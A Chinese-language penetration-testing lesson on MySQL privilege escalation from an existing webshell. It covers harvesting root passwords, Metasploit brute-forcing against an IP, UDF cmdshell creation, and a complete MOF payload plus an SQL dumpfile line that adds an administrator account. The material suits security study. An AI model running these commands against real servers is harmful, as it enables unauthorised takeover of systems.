思维导图

60:权限提升-MY&MS&ORA等SQL数据库提权

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务以及获取到最高权限用户密码。除Access数据库外,其他数据库基本上都存在数据库提权的可能。

本课重点:

  • 数据库应用提权在权限提升中的意义
  • WEB或本地环境如何探针数据库应用
  • 数据库提权权限用户密码收集等方法
  • 目前数据库提权对应的技术及方法等

案例1:MySQL数据库提权演示-脚本&MSF

环境准备:阿里云服务器,windows2012操作系统,php+mysql环境搭建,已上传后门并取得webshell权限

流程:服务探针-信息收集-提权利用-获取权限

1、服务探针

连接webshell,对目标服务器进行端口扫描,发现开放了3306端口,说明服务器部署了MySQL数据库。

60:权限提升-MY&MS&ORA等SQL数据库提权

2、信息收集

MySQL的最高权限的用户名为root,尝试获取root的密码。

方法1:读取网站数据库配置文件

这种方法的关键是了解其命名规则及查找技巧。可以重点查看带有关键字的配置文件,常见的关键字有sql、data、inc、config、conn、database、common、include等。

举例1:database.php

60:权限提升-MY&MS&ORA等SQL数据库提权

举例2:config.inc.php

60:权限提升-MY&MS&ORA等SQL数据库提权

当然在实战中,即使你找到了配置文件,系统也不一定用的是root用户。

方法2:读取数据库存储或备份文件

首先,我们了解一下MySQL数据库存储格式及对应内容。

@@basedir/data/数据库名/表名.myd,表名.myd文件中的内容对应的就是表的内容

举例1

60:权限提升-MY&MS&ORA等SQL数据库提权

举例2

60:权限提升-MY&MS&ORA等SQL数据库提权

查询用户名密码时,我们用到了如下SQL语句。

60:权限提升-MY&MS&ORA等SQL数据库提权

相应地,mysql.user对应的内容就存储在MySQLr/data/mysql/user.myd文件中

60:权限提升-MY&MS&ORA等SQL数据库提权

打开user.myd文件,找到root用户名密码。

60:权限提升-MY&MS&ORA等SQL数据库提权

该密码使用MD5散列加密,网上存在丰富的彩虹表破解。

60:权限提升-MY&MS&ORA等SQL数据库提权

方法3:利用脚本暴力猜解

获取数据库最高权限密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。暴力猜解之前,需要先了解数据库是否支持外联以及如何开启外联。

  • 若数据库支持外联,可以远程本地暴力猜解;
  • 若数据库不支持外联,可以服务器本地暴力猜解。

但是,其实root账户一般是不支持外联的,所以没法使用工具进行本地暴力猜解,但是我们可以将脚本通过webshell上传到服务器,在服务器本地使用脚本暴力猜解。脚本可以从网上自行下载。

演示

<1>数据库支持外联,使用msf工具远程本地暴力猜解。相关命令

msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set rhost 47.99.71.28
set username root
set pass_file /opt/mysql_pwd.txt
show options
exploit 

60:权限提升-MY&MS&ORA等SQL数据库提权

<2>数据库不支持外联,使用脚本在服务器本地暴力猜解。

网上搜了一个PHP版Mysql爆破小脚本,成功爆破出密码。

60:权限提升-MY&MS&ORA等SQL数据库提权

参考:http://www.zzvips.com/article/79791.html

3、提权利用

3.1 UPF提权

我们优先选择使用UDF提权。

<1>获取mysql版本,确定导出目录。

mysql版本不同,UDF导出目录也会有所不同。

  • 1.mysql<5.1 导出到c:/windows或system32目录
  • 2.mysql>=5.1 导出到安装目录/lib/plugin(mysql初始安装时,plugin目录默认不存在)。

如下图,执行select version();语句,获取mysql版本为5.5.53。

60:权限提升-MY&MS&ORA等SQL数据库提权

如下图,执行select @@basedir;语句,获取mysql的安装路径。

60:权限提升-MY&MS&ORA等SQL数据库提权

可以直接进入安装目录/lib/下查看plugin是否存在(或者执行show variables like '%plugin%';语句查看)

60:权限提升-MY&MS&ORA等SQL数据库提权

如果plugin目录不存在,需要手工创建plugin目录或利用NTFS流创建。

<2>利用自定义执行函数导出dll文件进行命令执行

在工具上,点击mysql提权进入配置页面,输入用户名密码,将可加载路径改为plugin下,后面的mysqlDLL.dll不变,点击安装DLL。

60:权限提升-MY&MS&ORA等SQL数据库提权

这个工具总是安装失败。试了好几次,都失败了。

换个工具试试

首先root连接

60:权限提升-MY&MS&ORA等SQL数据库提权

这个工具有个好处就是会自动帮你把plugin目录写上去,所以我们直接点击导出udf即可。如下图,导出成功。

60:权限提升-MY&MS&ORA等SQL数据库提权

然后使用自带命令创建cmdshell即可。如下图所示,创建成功。(如果创建失败的话,可以重启环境试试。失败原因猜测是集成在PHPstudy中的mysql问题)

60:权限提升-MY&MS&ORA等SQL数据库提权

接下来就可以 查看用户、查看权限、查看端口等。

60:权限提升-MY&MS&ORA等SQL数据库提权

后续还可以添加账户名密码,连接它的远程端口来实现控制服务器的目的。常用命令如下

60:权限提升-MY&MS&ORA等SQL数据库提权

简单来说,这个工具原理就是执行如下语句。

60:权限提升-MY&MS&ORA等SQL数据库提权

总结一下,UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,也可以手工测试。

3.2 MOF提权(基于MySQL特性的安全问题)

导出自定义mof文件到系统目录加载

mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

以下是mof提权的过程:

将mof上传至任意可读可写目录下,这里我传到C:/phpStudy/PHPTutorial/WWW/目录下,命名为user_add.mof。

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。

替换的sql语句:select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof文件代码如下所示:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};
View Code

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-08-09
  • 2022-12-23
  • 2021-05-29
  • 2022-01-06
  • 2021-06-11
  • 2021-10-31
猜你喜欢
  • 2021-07-14
  • 2021-06-23
  • 2022-12-23
  • 2023-03-11
  • 2022-01-23
  • 2022-01-19
  • 2021-12-15
相关资源
相似解决方案